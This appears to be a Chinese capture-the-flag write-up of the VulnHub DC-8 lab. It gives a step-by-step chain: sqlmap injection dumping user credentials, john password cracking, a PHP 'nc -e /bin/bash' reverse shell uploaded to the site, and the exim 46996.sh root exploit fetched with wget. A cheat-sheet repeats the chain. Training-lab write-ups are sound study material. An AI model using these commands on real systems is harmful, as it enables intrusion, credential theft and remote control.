准备:
目标:获得root权限
攻击虚拟机:kali
DC-8靶场:DC: 8 ~ VulnHub
虚拟机:IP地址 192.168.88.130
靶场IP地址:192.168.88.129
第一步:信息收集
通过arp-scan -l 查看本网段的虚拟机
也可以通过nmap 或者 netdiscover -r 192.168.88.0/24
netdiscover -r 192.168.88.0/24
由图查看到DC-8的IP地址:192.168.88.129
端口扫描:
nmap -sV -p- 192.168.88.129
//-sV:扫描系统版本号和程序版本,-p-是:全端口口扫描
然后打开网站
然后进行目录扫描查看是否有后台
dirb http://192.168.88.129目录扫描,发现有后台
进入后台管理登录,然后?nid=1'发现,网站直接报错,有可能存在sql注入漏洞
SQL注入
爆破一下数据库:
sqlmap -u "http://192.168.88.129?nid=1" --dbs
或者Sqlmap -u “http://192.168.88.129?nid=1” --current-db
##--dbs:查全部数据库, --current-db: 网站当前数据库
发现有d7db,information_schema是一个存放了当前数据库管理系统中所有数据库信息的一个数据库,数据库只能进行读取。
而d7db可能是存放关键信息。
爆破一下当前数据库的表
Sqlmap -u :http://192.168.88.129?nid=1” -tables -D “d7db”
发现关键表users
接着爆破users的字段
sqlmap -u http://192.168.88.129/?nid=2 --columns -T"users" -D"d7db"
发现name,pass这个字段,可能存放着账号和密码,然后查看users表下的字段:
Sqlmap -u “http://192.168.88.129?nid=1” --dump -C “uid,name,pass” -T “users” -D “d7db”
发现用户名和密码。然后复制保存,尝试用john解密
破解出来的密码是turtle(注意:如果出现Using default input encoding:UTF-8
,说明这个hash
之前被破解过。使用john --format=crypt
命令可以还原明文。)
然后去登录网站后台密码和账号成功进入
然后在平台是查找看看,是否有上传文件或者代码的地方
找到地方可以上传php,将反弹shell的命令
<p>shell</p> <?php system("nc -e /bin/bash 192.168.88.128 4444"); ?>z
这里的ip地址是本机的,用来监听
拿到shell,然后使用python代码优化终端
python -c 'import pty;pty.spawn("/bin/bash")'r
然后查看是否存在suid提权
提示:suid是给命令赋予root用户的权限,权限在命令上
find / -user root -perm -u=s 2>/dev/null
查询结果发现exim4具有root权限
然后查看exim4的版本
exim4 --version
发现是version 4.89 版本的
然后在漏洞库里面寻找可利用的漏洞
searchsploit exim (因为4.89并没有漏洞利用的方法,然后扩大一下范围直接找exim的漏洞)
然后本地提权,查找46996.sh
searchsploit -p linux/local/46996.sh
然后复制保存到桌面
cp /usr/share/exploitdb/exploits/linux/local/46996.sh 46996.sh r
然后开启临时的http服务
python3 -m http.server 8888
然后在shell里使用wget下载靶场的tmp中
Wget http://192.168.88.128:8844/46996.sh #这里的ip地址是本机的
上传成功后,然后给它加权
chmod 777 46996.sh
./46996.sh -m netcat
然后提权成功,有时候可能就不行,得多试几次。
总结:
信息收集:
目录扫描:
dirb 网站地址
netdiscover -r ip地址
nmap -sV -p- ip地址
arp-scan -l
searchsploit
sql注入:
爆库:sqlmap -u "http://192.168.88.129?nid=1" --dbs
查看当前数据库:
sqlmap -u "http://192.168.188.178?nid=1" --risk=3 --level=5 --dbs //
Sqlmap -u “http://192.168.128.129?nid=1” --current-db
查看数据库中的表:
sqlmap -u "http://192.168.188.178?nid=1" --risk=3 --level=5 -D d7db --tables
Sqlmap -u :http://192.168.88.129?nid=1” -tables -D “d7db” #d7db指的是数据库
查看数据库表的字段:
sqlmap -u "http://192.168.188.178?nid=1" --risk=3 --level=5 -D d7db -T users --columns
Sqlmap -u “http://192.168.88.129?nid=1” --columns -D “d7db” -T “users”#d7db 指数据库, users指数据表
查看数据表的几个字段:
sqlmap -u “http://192.168.88.129?nid=1” --risk=3 --level=5 -D d7db -Tusers -C name,pass --dump
Sqlmap -u “http://192.168.88.129?nid=1” --dump -C “uid,name,pass” -T “users” -D “d7db”
密码爆破
密码爆破:john 文件名
反弹shell:
查找网站是否可以上传php文件的,然后写入代码
<p>shell</p>
<?php
system("nc -e /bin/bash 192.168.88.128 4455");
?>
作用:提权用户,IP是本机ip 和监听的端口,得到shell
优化shell:python -c 'import pty;pty.spawn("/bin/bash")' 或者python3 -c 'import pty;pty.spawn("/bin/bash")'
监听:
nc -lvp 5566 #5566指端口。
提权:
find / -user root -perm -u=s 2>/dev/null
查找版本:exim4 --version
查找漏洞利用:
searchsploit exim
查找漏洞方法的绝对路径:searchsploit -p linux/local/46996.sh #linux/local/46996.sh 是path
复制保存在本机上:cp /usr/share/exploitdb/exploits/linux/local/46996.sh 46996.sh #cp 后面跟的是绝对路径 保存为46996.sh文件
上传文件:
python3 -m http.server 8888 端口号为8888
交互shell下载本机里面的文件 :wget http://192.168.88.129:8888/46996.sh #ip对应的是本机的IP地址,和端口,后面跟文件
提权:
./文件 -m netcat
或者给文件加777权限,然后运行
标签:http,88.129,--,DC,192.168,nid,46996,靶场 From: https://www.cnblogs.com/guangming-yehuang/p/17898121.html